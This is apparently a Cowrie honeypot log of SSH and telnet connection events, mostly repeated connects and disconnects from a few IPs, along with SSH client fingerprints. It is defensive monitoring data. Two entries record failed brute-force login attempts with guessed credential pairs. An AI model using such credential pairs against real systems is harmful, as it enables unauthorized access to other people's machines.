{"eventid":"cowrie.session.closed","duration":30.75998854637146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.100815Z","src_ip":"147.135.136.77","session":"e119377602ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77530574798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.140074Z","src_ip":"147.135.136.77","session":"674da6cdf90c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34be402fb00","protocol":"telnet","message":"New connection: 37.187.24.227:42512 (159.203.135.109:23) [session: c34be402fb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.190350Z"}
{"eventid":"cowrie.session.closed","duration":31.130334615707397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.357656Z","src_ip":"147.135.136.77","session":"3c25ab2be340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c672e3b92554","protocol":"telnet","message":"New connection: 147.135.136.77:58766 (159.203.135.109:23) [session: c672e3b92554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.512517Z"}
{"eventid":"cowrie.session.closed","duration":30.71657109260559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.551730Z","src_ip":"168.119.91.149","session":"232d034fb624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58780,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50afefdbc08","protocol":"telnet","message":"New connection: 147.135.136.77:58780 (159.203.135.109:23) [session: b50afefdbc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.688353Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5b7f4d42a12","protocol":"telnet","message":"New connection: 147.135.136.77:58788 (159.203.135.109:23) [session: f5b7f4d42a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.761959Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46372,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dbc69f5af4d","protocol":"telnet","message":"New connection: 51.79.21.139:46372 (159.203.135.109:23) [session: 8dbc69f5af4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:19.049772Z"}
{"eventid":"cowrie.session.closed","duration":30.15289807319641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:19.061057Z","src_ip":"147.135.136.77","session":"5e800a230d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42962622642517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:19.084415Z","src_ip":"147.135.136.77","session":"21b5e0b950e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58802,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf66ffae5df7","protocol":"telnet","message":"New connection: 147.135.136.77:58802 (159.203.135.109:23) [session: bf66ffae5df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:19.200077Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58824,"dst_ip":"159.203.135.109","dst_port":23,"session":"df5d89b4c5ff","protocol":"telnet","message":"New connection: 147.135.136.77:58824 (159.203.135.109:23) [session: df5d89b4c5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:19.359031Z"}
{"eventid":"cowrie.session.closed","duration":30.257806301116943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.068731Z","src_ip":"147.135.136.77","session":"e69aaebd362f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835095167160034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.079975Z","src_ip":"37.187.24.227","session":"b3d69d9d3fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37184,"dst_ip":"159.203.135.109","dst_port":23,"session":"45811aabd5e4","protocol":"telnet","message":"New connection: 81.30.157.18:37184 (159.203.135.109:23) [session: 45811aabd5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.384413Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b60b491406","protocol":"telnet","message":"New connection: 37.187.24.227:46416 (159.203.135.109:23) [session: b6b60b491406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.390680Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46376,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df890c30a3e","protocol":"telnet","message":"New connection: 51.79.21.139:46376 (159.203.135.109:23) [session: 2df890c30a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.394673Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58830,"dst_ip":"159.203.135.109","dst_port":23,"session":"1076605c3bfa","protocol":"telnet","message":"New connection: 147.135.136.77:58830 (159.203.135.109:23) [session: 1076605c3bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.398730Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58814,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac78850291d4","protocol":"telnet","message":"New connection: 147.135.136.77:58814 (159.203.135.109:23) [session: ac78850291d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.402339Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"17767c7e7ce7","protocol":"telnet","message":"New connection: 147.135.136.77:58820 (159.203.135.109:23) [session: 17767c7e7ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.406145Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37192,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa54d18bbd78","protocol":"telnet","message":"New connection: 81.30.157.18:37192 (159.203.135.109:23) [session: aa54d18bbd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.498555Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":60150,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b8d521285b","protocol":"telnet","message":"New connection: 168.119.91.149:60150 (159.203.135.109:23) [session: 93b8d521285b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:20.746891Z"}
{"eventid":"cowrie.session.closed","duration":30.898210763931274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:21.054781Z","src_ip":"51.79.21.139","session":"a62842a52ddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932336568832397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:21.622552Z","src_ip":"168.119.91.149","session":"28523be23feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58838,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb682f5bd6f","protocol":"telnet","message":"New connection: 147.135.136.77:58838 (159.203.135.109:23) [session: adb682f5bd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:21.807425Z"}
{"eventid":"cowrie.session.closed","duration":30.853300094604492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.042667Z","src_ip":"147.135.136.77","session":"56d72b6b9678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574356079101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.052119Z","src_ip":"147.135.136.77","session":"a9103724b6c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879933834075928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.111077Z","src_ip":"147.135.136.77","session":"2f6a4ca55a26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.176328420639038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.188341Z","src_ip":"147.135.136.77","session":"868b1ed225f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68754768371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.364240Z","src_ip":"147.135.136.77","session":"4146be321519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58850,"dst_ip":"159.203.135.109","dst_port":23,"session":"05a69c800ad7","protocol":"telnet","message":"New connection: 147.135.136.77:58850 (159.203.135.109:23) [session: 05a69c800ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.379072Z"}
{"eventid":"cowrie.session.closed","duration":31.44750690460205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:22.521003Z","src_ip":"37.187.24.227","session":"beff276cb627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14218235015869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.021235Z","src_ip":"147.135.136.77","session":"e6ea053565f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981565475463867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.027002Z","src_ip":"51.79.21.139","session":"2f280220dd53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b720dfc86fb7","protocol":"ssh","message":"New connection: 187.16.96.250:47544 (159.203.135.109:22) [session: b720dfc86fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.034145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.039154Z","src_ip":"187.16.96.250","session":"b720dfc86fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.710493087768555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.130104Z","src_ip":"147.135.136.77","session":"e77d6b535dc0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.155792Z","src_ip":"187.16.96.250","session":"b720dfc86fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58864,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b85a250f9d7","protocol":"telnet","message":"New connection: 147.135.136.77:58864 (159.203.135.109:23) [session: 0b85a250f9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.194455Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58872,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba6fcc95615","protocol":"telnet","message":"New connection: 147.135.136.77:58872 (159.203.135.109:23) [session: dba6fcc95615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.328547Z"}
{"eventid":"cowrie.session.closed","duration":31.123839378356934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.522505Z","src_ip":"147.135.136.77","session":"ff4023cb5bfe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa1234567","message":"login attempt [ubuntu/Aa1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.652745Z","src_ip":"187.16.96.250","session":"b720dfc86fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37204,"dst_ip":"159.203.135.109","dst_port":23,"session":"515ee6a13ef2","protocol":"telnet","message":"New connection: 81.30.157.18:37204 (159.203.135.109:23) [session: 515ee6a13ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:23.819253Z"}
{"eventid":"cowrie.session.closed","duration":30.737159729003906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.038579Z","src_ip":"147.135.136.77","session":"92a59fcd7208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940227270126343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.084567Z","src_ip":"147.135.136.77","session":"f4b82d789b2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121391534805298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.259351Z","src_ip":"168.119.91.149","session":"c106b741f8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58874,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bf89fd7c11","protocol":"telnet","message":"New connection: 147.135.136.77:58874 (159.203.135.109:23) [session: 90bf89fd7c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.362048Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58886,"dst_ip":"159.203.135.109","dst_port":23,"session":"392a7d879673","protocol":"telnet","message":"New connection: 147.135.136.77:58886 (159.203.135.109:23) [session: 392a7d879673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.367703Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.772874Z","src_ip":"187.16.96.250","session":"b720dfc86fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"797b756d3e8a","protocol":"telnet","message":"New connection: 147.135.136.77:58898 (159.203.135.109:23) [session: 797b756d3e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:24.896941Z"}
{"eventid":"cowrie.session.closed","duration":30.8709819316864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.081867Z","src_ip":"147.135.136.77","session":"5be53bb16e0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":39954,"dst_ip":"159.203.135.109","dst_port":23,"session":"98960e15305e","protocol":"telnet","message":"New connection: 51.79.21.139:39954 (159.203.135.109:23) [session: 98960e15305e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.102234Z"}
{"eventid":"cowrie.session.closed","duration":30.438885927200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.116305Z","src_ip":"147.135.136.77","session":"0a927d03f235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"82956e2c0d6c","protocol":"ssh","message":"New connection: 103.228.69.212:40822 (10.17.0.5:22) [session: 82956e2c0d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.163406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.168720Z","src_ip":"103.228.69.212","session":"82956e2c0d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58914,"dst_ip":"159.203.135.109","dst_port":23,"session":"e414c3a35f76","protocol":"telnet","message":"New connection: 147.135.136.77:58914 (159.203.135.109:23) [session: e414c3a35f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.299459Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58924,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6da7271283c","protocol":"telnet","message":"New connection: 147.135.136.77:58924 (159.203.135.109:23) [session: a6da7271283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.324050Z"}
{"eventid":"cowrie.session.closed","duration":30.8612539768219,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.333489Z","src_ip":"147.135.136.77","session":"199f3a39088c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.396732Z","src_ip":"103.228.69.212","session":"82956e2c0d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.134931087493896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.477633Z","src_ip":"147.135.136.77","session":"f1501e1b1022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36700,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e9cb5d4ed8","protocol":"telnet","message":"New connection: 147.135.136.77:36700 (159.203.135.109:23) [session: 43e9cb5d4ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:25.902146Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f612b5c32e42","protocol":"telnet","message":"New connection: 147.135.136.77:36712 (159.203.135.109:23) [session: f612b5c32e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.003167Z"}
{"eventid":"cowrie.session.closed","duration":30.845677137374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.049677Z","src_ip":"147.135.136.77","session":"d4f162aa9942","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teste","password":"123456","message":"login attempt [teste/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.343656Z","src_ip":"103.228.69.212","session":"82956e2c0d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.39543318748474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.524608Z","src_ip":"168.119.91.149","session":"a3382d36eac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36718,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a8777cd1452","protocol":"telnet","message":"New connection: 147.135.136.77:36718 (159.203.135.109:23) [session: 7a8777cd1452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.640005Z"}
{"eventid":"cowrie.session.closed","duration":31.732511043548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:26.808289Z","src_ip":"147.135.136.77","session":"9fb1f06eff28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89494013786316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.031007Z","src_ip":"51.79.21.139","session":"f5a5a9a0771f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8624529838562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.073596Z","src_ip":"37.187.24.227","session":"72a295f0fc79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55107545852661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.102379Z","src_ip":"51.79.21.139","session":"5f989920deed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5efb53d578","protocol":"telnet","message":"New connection: 147.135.136.77:36734 (159.203.135.109:23) [session: 6d5efb53d578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.274623Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40266,"dst_ip":"159.203.135.109","dst_port":23,"session":"164ec5848634","protocol":"telnet","message":"New connection: 81.30.157.18:40266 (159.203.135.109:23) [session: 164ec5848634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.279796Z"}
